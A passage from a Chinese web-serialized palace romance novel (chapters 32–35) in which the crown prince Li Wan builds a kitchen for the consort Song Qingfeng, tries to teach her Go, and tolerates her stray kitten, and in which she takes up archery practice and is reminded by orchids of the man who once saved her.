可是他又为何答应此事?—— 作者有话说:晚安~ 第32章 第 32 章 大头鱼 日上三竿, 宋轻风就被一阵香气吵醒了。 昨日回来早早就睡了,她饿得前胸贴后背,一骨碌从床上跳下来, 却见嘎嘎在窗棂子旁疯了一般飞上飞下,门窗都关得紧实,它飞不出去。 听闻宋轻风起床的声音, 嘎嘎一把飞扑在她的身上, 嘎嘎叫唤。 宋轻风疑惑地道:“嘎嘎,你闻到香味了吗?” 嘎嘎黑眼珠子泛着绿光, 用看傻子的眼光看着她。 宋轻风一把推开房门,嘎嘎便如一道黑色闪电飞了出去。 远处立刻传来乌梅的叫声:“哎呀,臭嘎嘎你怎么跑出来了!哎呀, 这不是你吃的东西, 快放下!你别飞这里来……” 院子里头竟不知何时多了个小屋。 乌梅的惊叫声音便是从小屋里传出来的。 宋轻风揉了揉眼睛,那小屋居然还在,香味正是从那里飘出来的。 她此刻正是五脏庙开集市之时,当即飞奔上前, 进了小屋。 打眼一瞧, 却见小屋里头居然生了个灶台,灶台旁的桌案上,摆了一桌子的好吃的, 还在冒着热气! 那香味正是从这儿传出来的! 她忍不住揉了揉眼睛,东西还在。 这是变什么戏法? 乌梅又绿瞧见她来, 忙上前道:“宋娘子您起了!” 见宋轻风的模样, 乌梅笑得合不拢嘴:“这是太子殿下吩咐,连夜建的小厨房,以后娘子您的膳食就在这小厨房做, 不必再去与宫人们挤一个大灶了。” 连夜建的小厨房? 宋轻风惊地说不出话来。 一夜之间,就能在她院子里悄没声息地建一个膳房出来?而且里头蒸炸炒煎的台面,工具应有尽有,这世上还有谁能办得到? 没等她惊完,却见两个眼熟的宫人垂首站在一旁。 这……这不是太子小厨房里头那两个大厨? 果然那两个宫人上前,一人道:“奴婢小包子,原是伺候太子殿下的糕点的,他是小蔡,原是伺候太子殿下的菜品,以后奴婢二人专伺候宋娘子。” 宋轻风还没合起来的嘴巴睁得更大了。 她小心翼翼地拽了乌梅到一旁咬耳朵道:“他二人莫不是犯了事,被罚过来的?” 乌梅一听,也生了疑,但转而又道:“别管是不是吧,但他二人厨艺可是没得说。” 宋轻风连连点头,为太子准备点心那些日子里,她可是大大得领教过。 至今对太子那里的点心都心心念念着。 正自开心,余光里却见厨房角落里堆了一块土坑,用一片红砖围着,上头还搭着雕着精细花样的铁架子。 小包子上前介绍道:“这是烤坑,娘子若是喜欢烤馍馍,烤鹿肉,烤牛肉,在这里最是方便。” 宋轻风止不住地点头,拍了小包子的肩膀道:“还是你们做大厨的想得周全。这地方烤红薯最适合不过了。” 她最爱烤红薯,之前在院子里头偷偷架了烤,到底不方便。 乌梅激动地满面通红,抓住宋轻风的手道:“娘子这一趟军营果然没白去,如今娘子是这东宫顶顶的红人了。只盼着殿下什么时候能再去啊!” 以昨日太子对她的态度,依旧冷眉冷眼,除了多训了她几句,并没有什么改善,实在未曾想到今日居然有这番变化。 难道是她昨夜偷吃了他的糕点,他一气之下索性将糕点师傅给撵过来? 但这都不重要。 宋轻风一边抓着点心来吃,不确定地道:“所以我如今是宠妃了吗?” 又绿端了净水进来,听此抿唇笑道:“娘子,我们还是低调一些,徐徐图这长久之计。” 宋轻风一把将绿豆酥塞进了嘴里,含糊不清地道:“外头现在都知道我是宠妃了吗?” 乌梅道:“那可不,这宫里哪里有什么秘密。更何况是一夜之间建了间膳房这么耸人听闻的事。” 宋轻风笑眯眯的,只顾点头道:“甚好。”。 天还没黑彻底,太子便从外头回来了。 不一时却有人来传,叫她去方华殿。 宋轻风正在捣鼓新的烤坑,眼瞧着红薯栗子和烤肉都快熟了,有些不情愿。 但是她就算真是宠妃,也要听上峰的安排。 只好嘱咐小包子和乌梅看牢了,这才一步三回头地往方华殿去。 进了内间,见李岏半倚在矮榻上,手上正拿着一本棋谱独自在下棋。 塌边的小几上,燃着一只鹤形灯。 屋内只有玲珑棋子落在棋盘上的脆响。他修长的指节与那半透明的玉石棋子混为一体。 烛台上的光映着他的雪色面颊,安静,又专注。 宋轻风莫名想起云逍的话。 难以想象这样瞧起来文弱的少年,会曾在沙场上杀过敌。而且他去军营时只有十二岁? 不知他那时是什么样的风姿。 宋轻风想起兰哥哥,就在她以为自己要死在河边的时候,他就这么出现了,长衣被风吹舞,猎猎作响。 衣袂翻飞,身姿矫健。 她永远记得那日,他救下自己时的身姿。 他手中长剑在空中划出华丽的弧度,比星辰更耀眼。 “会下棋吗?” 宋轻风正自神游,被从回忆里被拉回来,慢了半拍地问道:“啊?殿下您方才说什么?” 李岏手中白玉棋子啪地落在棋盘上,道:“出去。” 宋轻风却不想出去了。 她反应过来刚才的问题,回道:“没下过,下棋很好玩吗?” 李岏捏起一颗棋子来,在指尖翻转:“所有人,都不过是互为棋子,只看谁能先发制人罢了。” 说着转头看向了她:“过来,陪孤下棋。” 宋轻风不近,却不自觉地后退几步,连连摆手:“妾没下过,不会下。” “我教你,过来。” 他说过来。 宋轻风瞧着他的眉眼在光影下呈现琥珀色,一时看呆了,顺从地走上前去。 “坐下。” 不等她反应,李岏已拿起盒子里的一粒黑子放入棋盘上道:“下棋很简单,首要就是守住自己的气,而后吃掉敌人的气。” 说着他在棋盘上随意放了四只白棋,表明黑棋气数已尽。 “就这样?”宋轻风睁着大眼睛问道。 “就这样,当然若想胜,最重要的就是料敌于先,明白别人的意图。”李岏将棋盘上的棋子一一捡起,放进棋盒,而后将黑棋推过来道:“你先落子,在这星位即可。” 宋轻风顺着他玉白的指尖所指,放下一粒黑子。 不过瞬间,白子便啪嗒发出脆响,在另一角落定。 宋轻风人生第一次下棋,只觉得手中的棋子触手冰凉,却各个被打磨地玲珑剔透,每一粒棋子都长得一模一样,分毫不差。 她不知这棋子是什么珍贵之物,却只觉得对面的人离自己这样的近。 他身上那股清冷的香味便这般飘了过来。 宋轻风微微抬眼,见他垂着眼睛,长长的睫毛投下一片阴影,眼角下的小痣红得似一粒血。 不过瞬间,对面的人好看的眉头皱了皱。 宋轻风一惊,忙低下头来,认真看了棋盘。 方才虽然讲了规则,但这棋哪里是瞬间就能学会的,她也不知下一步如何动作,只得咬了唇在他的白子旁落定。 却见李岏皱着的眉头动了动。 要说什么,却憋了回去,又落一子。 宋轻风见他没有反应,以为自己方才那招没问题,于是胆子愈发的大,原来这棋果然简单,于是在棋盘的上下左右各处落子。 李岏到底忍不住,抬眸问道:“为何要下在此处?” 宋轻风笑道:“既然是占地盘占得多的胜,那广撒网总没错。” 李岏抬头,蓦然见她笑颜如画,满眼闪着光,他第一次发现这女子居然瞧起来这般天真烂漫。 他无端想起她曾说过,轻风摇细柳,淡月映梅花,这是她的名字。 他不由额角跳了跳,将口中的话咽了下去。 “殿下!殿下!”宋轻风叫了两声,自顾道,“您不走,我先走了。” 说着啪地一声落了一子。 李岏低头一看棋盘,眼前一黑,没过一会,到底忍不住低声道:“为何又走这里!你没瞧见这里已经大片失守了吗?” 宋轻风睁着黑黢黢的大眼睛在棋盘上乱扫道:“失守?在哪里?哪里有失守?” 李岏青筋发跳,觉得自己大概是走火入魔,才叫她来与自己下棋。 在自己亲自点拨之下,还能将棋下得乱七八糟,胡作非为,一时气得七窍生烟。 “你到底在瞎走什么!” “我没有瞎走啊,不过是想将你全都包围。” “你新学下棋,不想着如何自保,竟已敢想着将我包围??” 宋轻风认真问道:“有什么区别?” 李岏捏住棋子的手隐隐颤抖,多年的教养叫他抿住了唇。 好一会,实在忍不住,又问道:“为什么又落在这里!” “这里看不到吗!” “你这是在送死!” 谁知宋轻风却不听他的,死死抓住自己的棋子道:“不要,我就要就要走这里!我要伏长线钓大鱼!” “钓个大头的鱼!”话刚说出口,李岏整个人都愣住了。 他长这么大,居然第一次说出这样粗鲁的话来,一时面皮发紧,太阳穴隐隐跳动,冷寂了一晚上的心沸腾起来。 不由咬牙指着门口道:“你走!” 宋轻风道:“还下不起了,我说了不会,不是你非喊我下的吗?” “你!”李岏双目发黑,斥道,“放肆,半点规矩也没有!” 见他面色发白,显然气得不轻,宋轻风脖子一缩,一溜烟跑走了。 经此一役,太子殿下好几日不想见她。 好在小厨房刚建,宋轻风也正是新奇得不行,整日在厨房里瞎捣鼓,到底吃坏了肚子。 她索性也犯了懒,在屋内躺了几日,整个人也蔫蔫的。 这日刚用完午饭,正想继续赖着,不想却被乌梅恨铁不成钢地骂道:“娘子,您这刚当上宠妃,不思进取可怎么行!” “我都打听好了,听闻近日殿下午后都会去小花园里散步,那小花园正巧在咱院子旁边,正是近的很。您赶紧出去,准备准备和太子殿下来个偶遇!” 宋轻风被两个跟班推出了门。 只好慢腾腾往小花园走。 不知为何她这两日倒有些怕见到他,万一他上来又要教她下棋? 宋轻风忍不住浑身一抖,又要挨骂了! 几步便走到了小花园,此刻里头空荡荡地,一个人也没有,只有嘎嘎这个爱凑热闹地,学着蝴蝶扑腾扑腾在草上飞来飞去。 乌梅又绿跟在后头叽叽喳喳。 宋轻风被太阳晒得耷拉着脑袋,准备先寻块栏杆坐坐,屁股还没落定,却见嘎嘎突然飞扑向某一个草丛,口中发出兴奋的声音。 乌梅立时道:“那草丛里有东西!” 有东西!宋轻风一惊,立刻瞌睡全无,飞奔上前。 嘎嘎还在草丛上扑腾,宋轻风一把推开它,拨开草丛,却听细细小小的喵呜声从草丛里传了出来。 宋轻风一眼瞧见,这喵呜的正是一只可怜的巴掌大的小白猫。 哪知乌梅却面色一变道:“不好。” 宋轻风刚要伸手,又绿慌忙拉住她道:“别,娘子千万别碰,太子殿下素来忌讳猫,这东宫里头不能有猫的,这只小猫不知是从何处跑来的。赶紧叫人撵走!” 宋轻风道:“可是它很可怜啊!” 方说完可怜,嘎嘎却抗议地飞在她的肩头上。 当初它断腿断脚,被扔在草丛里,你怎么不觉得可怜? 宋轻风却不管,已抱起那小白猫在手,小白猫浑身雪白,软软糯糯,只是不知在这呆了多久,冷得浑身发抖。 乌梅目瞪口呆道:“娘子,您可别是还想养猫吗!您疯了吗?这一直是大忌,便是在大内,有养猫的贵人遇到殿下也要避忌的。” 宋轻风道:“没事,反正太子殿下也不会来破云院,不会被发现的!我们赶紧回去,它还小,只是我在的时候,给它一片遮雨的屋檐,不至叫其他东西欺负了它。” 李岏远远瞧见花园里,主仆三人围做一团正叽叽喳喳。 全福眼尖,一眼瞧见宋轻风怀里抱着的是一只小白猫,正低着头温柔地给小猫顺毛。 他面色一变,慌忙躬身道:“太子殿下,宋娘子恐不懂规矩,奴婢这就去与娘子说明。” 正走了几步,哪知身后殿下却突然道:“不必了。” 宋轻风耳朵尖,隐约听到人声,立刻转过身来,三人这才发现太子不知何时来了,正站在远处。 他的目光扫自她手上的猫上扫过,面上没有表情,根本瞧不清神色。 乌梅又绿的唇立刻失了血色,心道要完,扑通跪地行礼。 宋轻风不想方说完不会被他看见,就撞在了手里,一时有些尴尬,也跟着行礼。 还想为小猫求情几句,却听李岏远远地站着,皱眉道:“看好了。” “什么?” “若是它乱跑出来,就别怪孤手下无情。” 这是同意了? 宋轻风忙笑道:“多谢太子殿下。” 李岏并不上前,又扫了她一眼,见她面色红润,眉目清明,在阳光下整个人熠熠生光,太医说的不错,早就恢复了。 “听闻你最近厨艺大涨,闷头学了很多新样式?” 宋轻风谦虚地摆手道:“还行还行。” 气氛一时有些安静。 李岏见她并不再说话,一时也沉了脸,转身走了。 全福却落后几步,颠颠地上前来,拉着笑脸与宋轻风道:“听闻娘子吃坏了肚子,而今大好了?” 宋轻风笑道:“还要多亏您惦记,还给我请太医来瞧。” “只是太子殿下今日好像心情不好。” 全福也不说什么,只是道:“殿下连日操劳政务,日理万机。宋娘子既大好了,又学了不少新的手艺,劳烦娘子给殿下也弄点尝尝?” 宋轻风想了想,不确定地道:“近日野菜很是鲜美,要不我给殿下包个饺子?”—— 作者有话说:晚安啊~ 每晚夜里更,具体时间取决于手速,哈哈 第33章 第 33 章 沈渭 全福笑眯眯地点头道:“甚好, 甚好!” 说着飞快地扫了一眼她手里的猫,面色一动,什么也没说, 飞奔着去追殿下去了。 乌梅小心翼翼从地上起身,抹了把汗,终于反应过来道:“娘子说的什么野菜?我怎么没瞧见小厨房里有野菜?” 宋轻风随手一指路边道:“这些, 瞧, 多鲜嫩!” 不顾两位婢女震惊的目光,她来了精神, 让又绿回去安顿小猫,自己带着乌梅拿铁锹来挖野菜了。 野菜青嫩,又拌了一些肉, 两人在小厨房里折腾了半晌, 等饺子出锅的时候,天都快黑了。 这饺子虽然食材普通,模样奇形怪状,每个都长得不一样, 但胜在清香扑鼻, 皮子底下透着碧绿。 乌梅还是有些犹犹豫豫地道:“真的,要给殿下吃这个吗?” 宋轻风摇头道:“这才是世间美味。” 她以前光想想就口水直流! 方才去小花园,无意中瞧见, 已手痒了! 说着自己拧着食盒去了方华殿,哪知太子方才急匆匆地走了, 不知何时才能回来。 她与全福二人大眼瞪着小眼, 打了无数个哈欠,一直等到月上三竿。 却终于听到有人来回报,说是天色太晚, 殿下不回来了,今夜便直接歇在了署里。 他歇在外头并不是头一遭,全福有些放心不下,又派了几人前去伺候,这才搓手道:“宋娘子,这实在不巧了。” 宋轻风知道太子从不吃隔夜的饭菜,这盘饺子扔了岂不是浪费。 她忍了这半日,到底忍不住,也不用筷子,一手拧一只角,丢进了嘴里。 全福见她吃得喷香,腮帮子鼓鼓,连连点头一脸的满足,到底忍不住,也厚着脸拧了一只丢进嘴里。 不得不说,这宋娘子厨艺看着不咋样,吃着……也不咋样。 天色微明的时候,李岏顶着一身寒露,从外头回来了。 他似乎一夜未怎么睡,双眸有些泛红。 换了衣裳后便瘫在椅子里,要了冷毛巾捂脸。 全福见他一脸憔悴模样,心中不忍地劝诫道:“太子殿下,您可千万顾惜着些身体,什么事值得您这般心思,便是天明了再说也不迟啊。” 哪知李岏拿开毛巾,露出冷白的面色,沉声开了口:“沈渭,或许还活着。” 仿佛惊天炸雷响在耳边,全福一惊,手一抖毛巾落了地。 李岏双手抓着扶手,眸色里透着寒。 “过完了生辰,孤要出京一趟。” 全福不敢问他去哪,只是道:“奴婢早些做准备。” 李岏没有接口,转头见桌案上已放好了早膳。 全福一边伺候他用膳,一边见桌案上摆着一道翡翠卷,不由笑道:“昨日宋娘子新学了一样饺子,晚上巴巴地送了过来,可惜没赶巧,您不在。” 李岏拿箸的手一顿,道:“饺子?” “是了,宋娘子想是颇费了一番功夫。比之前那些……那些可厨艺大涨。” 李岏目色一扫,见桌案上并没出现饺子形状的东西,他拇指在银箸上滑过,道:“饺子?” 不一会又嗤笑道:“她自己捣鼓了几日坏了肚子,她做的东西,孤可不敢吃。”。 听闻太子生辰将近,方华殿极为热闹。 听闻有热闹可凑,宋轻风一大早就屁颠屁颠地跑来了。 一瞧果然极是热闹。 一批批的宫人低着头四处穿梭来去。 全福笑了笑,却转了话头与她解释道:“临近重阳,马上又是殿下的生辰,花房里要将各宫处装点些新养出来的花,这也是宫中每年的惯例。” 果然瞧去,这些宫人或几人抬着,或一个人捧着,搬着一盆盆开得茂盛的花进来了。 这些花开得极为娇艳,姹紫嫣红,煞是好看。 都深秋了,还有这么鲜艳的花,宋轻风一时好奇地凑上前去,左瞧瞧,右看看,每个都爱不释手,连连称赞。 每盆花送于全福过目之后,他站在廊下随意一瞥,然后便大手一指,安置在了其他殿里头。 不多时,有一个红色锦衣的大太监,从外头躬身进来。 走到台阶下便俯身行礼道:“奴婢见过全福公公。” 而后堆起满脸的笑来:“奴婢送花来了,公公您多掌掌眼。” 全福见他来了,点了点头道:“你养的,一向错不了。” 那红衣太监笑嘻嘻地,拍了手,不一时门口鱼贯而入一群太监,各个手中捧着一花盆。 那花盆里头没什么红蓝紫,只是细细的茎叶,顶上开几朵粉白。 全福走下台阶,一一看过去,红衣太监躬身跟在后头,一个个介绍道:“这是幽谷雪魄,昨日方开的。” 听闻这个名字,宋轻风也好奇地走上前去,看那盆里开着好几朵花,花色皎洁如雪,阳光下似有淡淡荧光。 红衣太监又点着另一盆道:“这是碧落繁星,去年殿下就夸这花开得好。”果然上头细细的银点,似星辰洒落。 他一个个介绍过去,每一株都极有讲究,被那太监夸得天上有地上无。 鼻端一股若有若无的幽香袭来,既不嫌浓烈,又不嫌寡淡,宋轻风一时看得呆住了。 这方华殿内外,一直摆着一些这样的花。 只是她不认得,并未多加留意。 而今见他们特意地送过来夸赞,忍不住道:“这些是什么花?” 红衣太监不认识她,还是低头道:“回姑娘,这些都是极品的兰花。” 兰花? 她心中如遭重击。 原来这样的花就是兰花。 兰哥哥说,他的名字是兰,兰是一种花。 她未曾见过,问他兰花是什么样的花? 他说,兰是花中君子,只要你见着了,就知道了。 她忍不住伸手想要去摸摸这些花,那红衣太监脸都白了,慌忙道:“姑娘当心。” 她被这声吓得手一颤。 全福斥那太监道:“大呼小叫什么!” 说着向宋轻风解释道:“太子殿下于这花上头没什么讲究,唯有这兰花还算看得过眼,花房平日里便会进些,供殿下赏玩。月底又是殿下千秋,特意选了这些少见的品种来。” 宋轻风讷讷地点头,忍不住视线有些模糊。 “兰花。” 花中君子。 就像他一般。 红衣太监心虚地抬头打量一眼,方才那些花,这姑娘各个赞不绝口,怎么轮到这兰花,反而默不作声了,瞧这脸上,更是半点喜色也无。 难道是这花有什么不对? 想到此,他忍不住心脏咚咚乱跳,又仔细看了三回,也未瞧出什么异常来。 全福也瞧出来了,问道:“宋娘子,您怎么了?” 宋轻风摇了摇头。 红衣小太监连连点头,突然心中咕咚一声,反应过来这小姑娘就是传说中那个宋氏! 听闻她在东宫日子很是凄凉。怎么今日瞧着,不像凄凉的样子,连全福公公都多般维护。 宋轻风喃喃道:“真的,很好看。” “这竟是我第一回瞧见这花。” 全福见她模样,知道这宋娘子八成是痴病又犯了。 却闻宋轻风道:“能送我一盆么?” 红衣太监正要为难,全福却已吩咐道:“挑一盆,抬到宋娘子的屋里去。” 说完全福忍不住凑过来,低声八卦道:“九月二十九便是殿下千秋,算来还有个把月,您可是想要表些什么心意?这盆花您打算拿来做什么呀?要不透露透露,我给你出出主意?” “心意?”宋轻风愣了愣,生辰礼物? “可是殿下富有四海,我能送什么礼物呢?” 全福见她居然问出这个问题。 感情她要这花不是准备给殿下准备礼物的? 她或许是害羞? 一个小姑娘在这上头毕竟经验有限,全福遂主动出主意道:“殿下自然什么也不缺的,但这不看得心意么,譬如点心,帕子,香囊什么的?” 宋轻风抱着花盆,失了往日的灵动,讷讷地道:“等我空了,再说吧。” 说着她居然也不等太子回来,抱着个花盆就头也不回地走了—— 作者有话说:宝子们写不完了先睡了,明天两更。 ps:古代或许没有直接叫饺子的,这么写就是为了看起来亲切 :) 第34章 第 34 章 再扩七丈 今日休沐, 李岏居然睡了个晚觉,直到天色大亮才起身。 更是难得有闲暇慢慢在宫内用早膳,全福一大早天没亮就起床, 按着殿下的口味,和小厨房的大厨们张罗了满桌丰盛的早膳。 他满心期待地扶着李岏在桌边坐定。 哪知殿下扫了一桌子精巧别致的点心,半天也不过吃了几口, 便丢了箸, 瞧起来竟有些心不在焉。 全福有些不安地道:“殿下,是不是这些东西不合您的胃口?” 李岏不语, 不过冷着脸扫了一眼,便起身去了内室。 全福被他这一眼扫得浑身发寒,冷汗涔涔。 进了内间, 却见殿下斜躺在矮榻上, 随手翻了本书,却不过看了一会,又翻了个身,翻出棋盘来下棋, 不一时, 又躺在榻上睡了过去。 全福擦了擦汗。 他也是愁破了头。 不知怎么了,近日殿下的胃口一直不见好,每日里都用的极少。 这些日子更是整个人阴沉的吓人, 一个眼神扫过来,彷佛带着刀冰似的。 整个方华殿的宫人战战兢兢, 恨不能踮起脚来走路。 悄悄去请了太医来把平安脉, 太医也苦着脸说不出所以然,只管开了许多健胃利脾的药。 好在殿下喝药还算积极,熬得药送来全都照喝了, 只是却丝毫也不见好转。 他一边骂着庸医,一边又四处去打听,近日朝上也没出什么糟心事,大抵是殿下的生辰将近,连陛下的态度都温和了许多。 那一定还是为了那夜沈渭的事! 可他的事,也不是这一年半载的事,这么多年过去了,殿下早就恢复过来了。 全福想破了脑袋,灵机一动,突然想到前些日子殿下将自己小厨房的两个厨子送给了破云院。 也是,突然换了厨子,难免口味有些不适应! 昨日里,他特定去寻了宋娘子,借了那两个厨子回来。 今日天没亮便忙碌了开来,这早点,倒有一大半是那两个厨子做出来的。 原以为这回总算对了吧,哪知竟丝毫未起作用,甚至殿下的脸更黑了。 方才瞧向他的眼神,好似要挖了他一般。 全福有些傻眼了。 他在殿下身边服侍多年,不说自己就是殿下肚里的蛔虫,可这揣摩心思的本事,一向在手。 哪知今日竟是一筹莫展。 殿内正要变成冰窖的时候,却是赵丰盈带着户部侍郎钱保来了。 往日休沐时候,赵丰盈来,总要吃尽全福的白眼。 不想今日,全福却乐得眉开眼笑,热情地与他二人见礼。 赵丰盈不能习惯,忍不住鸡皮疙瘩起了一地,有些后悔这个时候来。 钱保却是极少有机会来东宫的,今日见着全福的热情,一时感动莫名,觉得整个东宫都亲切了,紧张也消弥了不少。 全福进来通禀,李岏正从榻上起身,听闻是他二人来,也不吭声。 哪知两人方进来,钱保便扑通跪在地上开始哭穷。 “太子殿下,臣实在是难以在这么短的时间内筹措到这么多现银,您知道的,太后娘娘要提前去法华寺,这恩华殿修葺迫在眉睫。今岁大寒之年,又要预备这年底的冬汛,雪灾。户部实在是捉襟见肘……” 他一通喋喋不休,引经据典说完,口干舌燥,不由悄悄抬头,见殿下的袍脚一动不动地在矮榻边上,一声不吭,也不打断他。 他立刻更是胆子壮了些,道:“今岁的秋赋还未上来,不若等年底秋赋收全了,国库也充盈,臣等再好生合计合计?” 他说完,原以为会等到回复,哪知屋内还是毫无人声。 赵丰盈见太子殿下只是低头坐在榻上,摸着衣摆,不知在想什么。 他硬着头皮提醒道:“太子殿下?” “嗯?”李岏从呆愣里回过神来,看着跪在地上的钱保道:“说完了?” “是。”钱保应道。 李岏看着他,淡淡地道:“你既做不到,便脱了这身官服,自有能做到的人等着。” 钱保一时傻在了当场。 李岏道:“孤的规矩便是如此,若是做不了的,辞官还来得及,若等丢了脑袋,可就来不及了。” 钱保浑身发寒,早没了方才的口若悬河,跪在地上一声也不敢吱。 李岏问道:“现在能做到么?” “能,能,”钱保连连点头,恨不得当场发誓道,“臣定竭尽全力,不负殿下所托!” “还有你,怎么今日休沐倒知道来了?”李岏转头又对赵丰盈道,“平日里孤不传唤你,便不知道来?连个影子也不见,清楚自己份内之事么!” 赵丰盈心中叫苦,殿下臣昨日方求见过您,您那时候谁也不见。 但是他也不敢狡辩,只是连连应下道:“是,臣知错了。” 瞧着两人灰扑扑地,一旁全福默默擦了擦额角看不见得汗,对他二人投去了同情的目光。 眼瞧着沙漏,时近中午。 李岏突然道:“听闻钱卿是北方人?” 钱保不想殿下有此问,心中惴惴不敢多言,只是点头道:“回殿下,是,臣是辽阳人。” “听闻北方人喜面食?” 钱保受宠若惊,不想方受了训,片刻又受到如此关怀,不由点点头陪笑道:“是,是,臣素日里最爱汤饼,饺子,臣的贱内尤擅此道,臣一日不食她做的饭,就觉得全身不得劲。” 李岏道:“下去。” “……” 两位大人灰溜溜地走了,全福感到殿内的气氛重又凝结…… 九月中,一场雨后,最后一丝暑气消耗殆尽,早起的时候甚至要穿上袄子才好一些。 一大早宋轻风从小厨房里抓了五只白馒头揣进怀里。 走到屋内,将馒头叼在嘴里,先摸了摸床头旁的兰花道:“早啊!我出去一会。” 而后又从床边取了只和她差不多高的布囊背在身上出了门。 她一路小跑到校场,刚下过雨,地上还有些湿,险些摔了一跤。 她与一旁的守卫打了声招呼,便卸下布囊,迫不及待从里头掏出一柄深黑色弓箭,一袋扎得结结实实的木箭。 这是她托了高守去库房领回来的,宝贝的很,每次用完都要一根根数好扎起来再背回去。 她摆好架势,远处的靶子在晨光中好似闪着光,中间的红心格外醒目。 她眯起眼睛,一手拉起了弓弦,白色的弦崩得紧紧,手臂上的衣裳震颤。 咽下口中最后一口馒头,手指也啪地一声松了。 只听一声尖啸,那箭直直地射了出去,气势十足。 旁边守卫的目光不由自主追随着那箭的轨迹,见它飞跃而出,而后落了下来,无辜地躺在地上。 毫不意外,莫说中靶,便是靶边都没挨到。 自发出去之后,宋轻风却没再看那箭一眼,而是吹了吹手背上被弓弦弹射的一道红痕,又拉过第二根羽箭来。 瞄了半晌,全力一拉,指头一松,另一只箭呼啸而过。 很快箭囊里的箭便用光了,她便哒哒跑过去将箭一一捡回来继续,没一会倒是满头大汗,面颊发红。 手臂也隐隐发颤。 守卫见她这些日子早饭后就来,一练就是到午膳时辰,却无一中箭,不由有些可怜她。 他忍不住道:“这射箭需要一把子好力气和好眼力,一般女子能难学会的。您好端端的,回去绣花不好吗?学什么练箭呢?” 彷佛没听出他的意思,宋轻风一边瞄准靶子一边认真问道:“花自然也是要绣的。我瞧您的箭术很厉害,您练了多少年?” 守卫有些得意地道:“自然,我苦练了五年呢!” 宋轻风将磨破的手指在衣角上擦了擦,点了点头道:“您每天练多久?” 守卫道:“射箭的话?以前是每日一个时辰。” 宋轻风点了点头,盘算着而今她是个大忙人,她每日能匀出三个时辰来练箭,这样一算也就等于他的三倍,那她练个一年七个月也就等于他的五年了? 不过时间有限,就算练不出他的水平,总归也能在关键时刻派上用场才是。 守卫不知她心中所想,以为她被打击到了,进一步道:“京中大小姐们多会射箭蹴鞠,不过就是练个彩头就是,像您这样的也差不多了,到时候把靶子搬得近些便成了,再说了……” 宋轻风问道:“敌人会站得很近让我射吗?” 那守卫有些无语。 宋轻风又问道:“若是我想要练出太子殿下那样的水平,大概要多久?” “什么?!”守卫的话卡在了嘴边,张大嘴巴一时竟不知是该笑还是该哭? 他很多年前亲眼见过太子殿下射箭,那时候殿下还是个半大的孩子。可是那一手百步穿杨的箭术,这么多年他从未见过第二个。 面前这个连靶子也挨不着的姑娘,居然肖想练成太子殿下那样的水平需要多久? 真是痴人说梦。 他咧开嘴嘲笑道:“这可不是练多长时间就能达成的,这是天赋你懂吗?天赋!” “像我这样厉害的,这辈子也很难达到,莫说是我,便是整个大雍也难以找出第二个人来,何况是你一个女子?” 宋轻风道:“那白马战神呢?” 守卫立马噤了声,白马战神。 多么遥远的词。 宋轻风见他居然沉默了,不由追问道:“你是不是没见过白马战神?” 果然守卫摇了摇头道:“未曾见过,不过就是隐约听到过传说,传说谁知道是真的假的,谁知道是不是夸张来着。” 宋轻风撇了撇嘴。 带来的几只馒头已经吃完了,一壶热水也喝了干净。 眼见着日头照到头顶,该是午膳时候了。 宋轻风一把狠狠握了握止不住颤抖的右臂,好一会终于稳定了下来。 她掏出箭囊里最后一支羽箭,又一次瞄准了靶心的红点…… 李岏今日弃了车舆,步行从外头回来,隐隐听闻远处的小校场传来箭啸之声。 他挥退了侍从,只带着高守跟着,步行到了校场。 远远地便见场中的女子一身浅蓝色宫装,双袖挽着,满面通红,眼睛半眯。 手中的箭破空而去,却未中靶心。 以他的目力,一眼瞧见远处的靶子上,干干净净,显然一支未曾中过。 她却抹了抹脸上的汗自言自语道:“没事,只要一直不停地练下去,总归会越来越好的。” 说着自己飞奔上前去,将落在地上的羽箭一根根捡起抱在怀里。 李岏看了一会,侧身问高守道:“她最近一直在此练箭?” 高守回道:“是。只是瞧她力气差得很,竟一支也未中。不知准头如何。”说完又恐殿下是心中不愉,忙又道:“可要臣……” 李岏摆手道:“走吧。” 行了几步,他停下来不经意回头,见她已捡回了一捆箭,手中又搭起一箭,一滴汗珠从光洁的耳侧滑过滑过,如一滴雨水落入涟漪,溅起轻微的波澜。 他顿了顿,好一会道:“叫人将这校场扩长一些,尤其是那靶子,往西再扩七丈。” 高守一愣,这宋娘子本就力气不足够不着靶子,再扩七丈那更是影子都靠不上了。 殿下已有好几年未曾用过这个小校场,素日都在西苑的跑马场里,怎么突然想要用此处了。 “是。殿下既要用这校场,臣命人立刻来好好休整一番,平日里也着人看着些,莫要被其他人用了。”他口中说着其他人,其实这其他人除了这位宋娘子,也没有旁人了。 李岏道:“不必。” 高守抱拳道:“那殿下若是要来的时候提前告知臣,臣来清场。” 李岏看向身旁身形魁梧的青年,自己贴身的侍卫,一时说不出话来。 高守虽然不解,却也没胆子刨根问底,只是吩咐人连夜去做了。 高守听到又是一声箭啸,忍不住侧目。 他剑法高超,箭术虽不如剑法,可也非常人可比。 可这回头看了一眼,还是摇了摇头,这宋娘子细胳膊细腿,一看就是从小吃得不好身体纤弱,这是底子不好。 射箭需要目力,专注力,更需要臂力,以她的底子拉不开弓,射不远,这个年纪了再努力练都是白搭。 可惜殿下还要将校场往西再扩,到时候这宋娘子莫说有机会挨到靶边,只怕是看起来都费劲了。 李岏方回殿内坐定片刻,全福便捧着一封烫金的请柬来了。 “晋王殿下离京大半个月,这方回来不久,便下帖子邀请了京里各家公子小姐,要在四方别院办一场云诗宴,这是今晨晋王殿下亲自送来的帖子。说是太子殿下您若是有闲,盼您大驾光临。” 晋王李峥,排行第六,乃是当今皇后的亲子。 他随了皇后娘娘生得一副好相貌,为人又性格风流,极爱热闹,常年喜欢在京中组织诗词花会宴饮风雅,混迹各大青楼红馆,与京中各府年轻的公子小姐都极为熟络。 在这京中,是出了名的没有架子招人喜欢。 全福毫不意外,瞧见太子殿下头也没抬道:“没空。” 他忙道:“是,奴婢这就派人去回绝了晋王府。” 方要退出去,却听殿下又道:“等等。” 全福一愣,忙又上前来。 李岏扫了眼他手中的帖子道:“孤隐约记得四方别院在京郊,玉梳湖畔?” “是,”全福笑道,“殿下果然好记性。” 李岏道:“晋王在外办事多日方回,既办了宴,你找个人代孤前去。” 全福左右看了看:“这……” 能代表太子殿下前往赴宴的,这东宫里头有谁合适一些? 全福一时拿不定殿下的想法,犹豫着问道:“殿下可有中意的人选?” 李岏拿起书来道:“这种小事,你看着办。” “是。” 全福退到外头,一时又开又苦了脸。 第35章 第 35 章 云诗歌宴 太子殿下以往一向不搭理这些宴会, 